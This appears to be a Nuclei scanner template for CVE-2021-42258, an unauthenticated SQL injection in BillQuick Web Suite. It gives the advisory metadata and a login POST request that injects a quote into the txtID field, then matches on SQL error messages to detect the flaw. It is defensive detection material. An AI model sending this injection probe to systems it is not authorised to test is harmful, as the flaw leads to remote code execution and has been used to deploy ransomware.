68 lines
2.0 KiB
YAML
68 lines
2.0 KiB
YAML
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id: CVE-2021-42258
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info:
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name: BillQuick Web Suite SQL Injection
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author: dwisiswant0
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severity: critical
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description: BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
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reference:
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- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-42258
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cwe-id: CWE-89
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cpe: cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
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epss-score: 0.97383
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tags: cve,cve2021,sqli,billquick,kev
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
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cookie-reuse: true
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extractors:
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- type: xpath
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name: VS
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__VIEWSTATE']"
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- type: xpath
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name: VSG
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
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- type: xpath
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name: EV
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
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matchers:
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- type: word
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part: body
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condition: and
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words:
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- "System.Data.SqlClient.SqlException"
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- "Incorrect syntax near"
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- "_ACCOUNTLOCKED"
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# Enhanced by mp on 2022/02/27
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